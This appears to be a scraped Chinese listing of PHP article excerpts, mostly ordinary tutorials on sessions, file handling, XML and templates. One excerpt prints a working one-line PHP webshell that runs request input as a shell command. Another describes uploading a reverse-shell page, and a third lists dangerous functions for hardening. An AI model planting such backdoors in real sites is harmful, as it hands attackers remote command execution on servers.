Time of Update: 2018-12-08
//購物車session的產生代碼 if(! $session && ! $scid) { /* session用來區別每一個購物車,相當於每個車的社會安全號碼; scid只用來標識一個購物車id號,可以看做是每個車的名字; 當該購物車的id和session值兩者都不存在時,就產生一個新購物車 */ $session = md5(uniqid(rand())); /* 產生一個唯一的購物車session號
Time of Update: 2018-12-08
讓我們算一算有多少種方法 處理諸如 PHP 之類的現代程式設計語言的樂趣之一就是有大量的選項可用。PHP 可以輕鬆地贏得 Perl 的座右銘“There's more than one way to do it”(並非只有一種方法可做這件事),尤其是在檔案處理上。但是在這麼多可用的選項中,哪一種是完成作業的最佳工具?當然,實際答案取決於解析檔案的目標,因此值得花時間探究所有選項。 回頁首 傳統的 fopen 方法 fopen 方法可能是以前的 C 和 C++
Time of Update: 2018-12-08
複製代碼 代碼如下://截取字串長度。支援utf-8和gb2312編碼。若為gb2312,先將其轉為utf-8,在utf-8的基礎上截取然後再轉換回來 function cut_string($str,$from=1,$length=10,$code='utf-8',$rear='...'){ if($code!='utf-8'){//總是將字串轉為utf-8編碼 $str=iconv($code,'utf-8',$str); } $str_len=mb_
Time of Update: 2018-12-08
可在編譯時間使用 –disable-cli。一旦編譯產生 CLI 模式的 PHP,則可能會被入侵者 利用該程式建立一個 WEB Shell 後門進程或通過 PHP 執行任意代碼! phpinfo() 功能描述:輸出 PHP 環境資訊以及相關的模組、WEB 環境等資訊。 危險等級:中 passthru() 功能描述:允許執行一個外部程式並回顯輸出,類似於 exec()。 危險等級:高 exec() 功能描述:允許執行一個外部程式(如 UNIX Shell 或 CMD 命令等)。 危險等級:高
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php /** * @Filename :page.sql.class.php * @CreatTime :2009-01-06 * @Descrition :此類為SQL語句處理類。 * @UpdateTime-1 :null * @Version :jswweb1.0.0 * @Author :fkedwgwy * @Dome : $sql//SQL語句 $allcount//總記錄數 $pagesize//頁面顯示記錄條數 $page//當前頁 $sqlc=
Time of Update: 2018-12-08
Microsoft Windows [Version 6.0.6001] Copyright (c) 2006 Microsoft Corporation. All rights reserved. E:\Windows\system32>cd ../../x86 E:\x86>dir Volume in drive E has no label. Volume Serial Number is 960B-9039 Directory of E:\x86 2007/09/30 15:
Time of Update: 2018-12-08
非常無 奈,沒想 到什麼好的辦法,後來靈光一閃。放一個php頁面,裡面 可以直接彈回來shell,何況在console下面操作比webshell方便的多,也不會出現逾時之類的情況。 因為我不怎麼懂php,於是就找了猥瑣 的諾諾和小雨修改了一下代碼,反彈代碼是從phpspy2008裡面提取的,但是不能直接用,需要修改成一個單獨的php檔案。上傳之後,本地監聽一個端 口,在代碼裡設定好反彈IP和連接埠,然後直接存取,就會彈回來一個shell。
Time of Update: 2018-12-08
UCHOME的代碼還是很不錯的,學習一下! 複製代碼 代碼如下:<?php /** * 定義一些常量 */ @define('IN_UCHOME', TRUE); //據說可以防止檔案非法包含 define('X_VER', '1.2'); //Uchome版本 define('X_RELEASE', '20080612');//發布日期 define('D_BUG', '0'); //是否開啟調試功能, 0:關閉, 1:開啟 //根據是否開啟調試功能設定錯誤報表層級
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php /*一個新型的php一句話cmdshell(非一句話木馬) //原理:php運行時如果遇見字元``(鍵盤上~符號的下檔鍵)總會嘗試著執行``裡麵包含的命令,並返回命令執行的結果(string類型); //局限性:特徵碼比較明顯,``符號在php中很少用到,殺毒軟體很容易以此為特徵碼掃描到並警報;``裡面不能執行php代碼; //write by skyfire */ echo `$_REQUEST[id]`; ?>
Time of Update: 2018-12-08
這裡經過摸索:找到了一個重新命名的方法,大家看看好不好使。 首先:我希望上傳的檔案根據日期來組織檔案夾 請修改editor\editor\filemanager\connectors\php檔案夾下的:config.php檔案 找到如下的內容: // Path to user files relative to the document root. $Config['UserFilesPath'] = 修改為: // Path to user files relative to the
Time of Update: 2018-12-08
但是PHP反編譯系統的出現卻迅速引起了Zend公司甚至整個PHP使用者群的恐慌,包括上述產品在內的幾乎所有大型PHP產品全部出現了破解版本甚至出現了完整的原始碼。如此一來,Zend不得不向Cracker們低頭,承認所有的加密技術都有破解的辦法,並承諾對加密產品進行改進以便提供更強的保護。 PHP加密技術可以追溯到01年,當時PHP已經很火爆,所以許多公司希望能推出商業化的PHP系統,於是PHP加密(編譯)產品應運而生,隨後PHP大顎Zend公司推出了自己的Zend
Time of Update: 2018-12-08
我們來大致瞭解一下error_log()函數。我們看下手冊的解釋:error_log(PHP 3, PHP 4, PHP 5)bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]]
Time of Update: 2018-12-08
pcntl_fork()函數就是為當前的進程建立一個子進程。並且先運行父進程,返回的是子進程的PID,肯定大於零。在父進程的代碼中可以用pcntl_fork(&$status)暫停父進程知道他的子進程有傳回值。注意:父進程的阻塞同時會阻塞子進程。但是父進程的結束不影響子進程的運行。
Time of Update: 2018-12-08
1. 什麼是phpDocumentor ? PHPDocumentor 是一個用PHP寫的工具,對於有規範注釋的php程式,它能夠快速產生具有相互參照,索引等功能的API文檔。老的版本是 phpdoc,從1.3.0開始,更名為phpDocumentor,新的版本加上了對php5文法的支援,同時,可以通過在用戶端瀏覽器上操作產生文檔,文檔可以轉換為PDF,HTML,CHM幾種形式,非常的方便。
Time of Update: 2018-12-08
官方手冊給出了以下範例: 複製代碼 代碼如下:<?php // 使用了NameSpace的例子 namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0 // Hello world!
Time of Update: 2018-12-08
因為在本地測試完全沒有問題,所以ssh到遠程伺服器上(不是發行伺服器,建議不要直接在Publish Server上直接改東西),進行了一下斷點的測試,最後發現是一個比較複雜的邏輯中有個函數在建構函式中調用了登陸驗證。沒有驗證通過所以就跳走了。 下面我們通過程式來看一下php cookie的使用,也許你看完上面那段還納悶,這個和cookie有什麼聯絡呢? 大體說一下在我們的MVC結構中所用的登陸驗證:
Time of Update: 2018-12-08
複製代碼 代碼如下://產生where字串 function get_where($arg = null) { foreach ((array)$arg as $key => $val) { if(is_int($key)) { $where .= " $val "; }else { if(is_string($val)) { if($val === null) { $where .= " and $key is null "; }else { $where .= " and $key =
Time of Update: 2018-12-08
模板檔案template.htm: 複製代碼 代碼如下:<html> <head> <title>%title%</title> </head> <body> <H1>%title%</H1> <hr> <pre>%body%</pre> </body> </html> php檔案:複製代碼 代碼如下:<?php
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php //開啟用於儲存留言的XML檔案 $guestbook = simplexml_load_file('DB/guestbook.xml'); foreach($guestbook->thread as $th) //迴圈讀取XML資料中的每一個thread標籤 { echo "<B>標題:</B>".$th->title."<BR>"; echo
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php //建立一個新的DOM文檔 $dom = new DomDocument(); //在根節點建立departs標籤 $departs = $dom->createElement('departs'); $dom->appendChild($departs); //在departs標籤下建立depart子標籤 $depart = $dom->createElement('depart'); $departs->appendChild($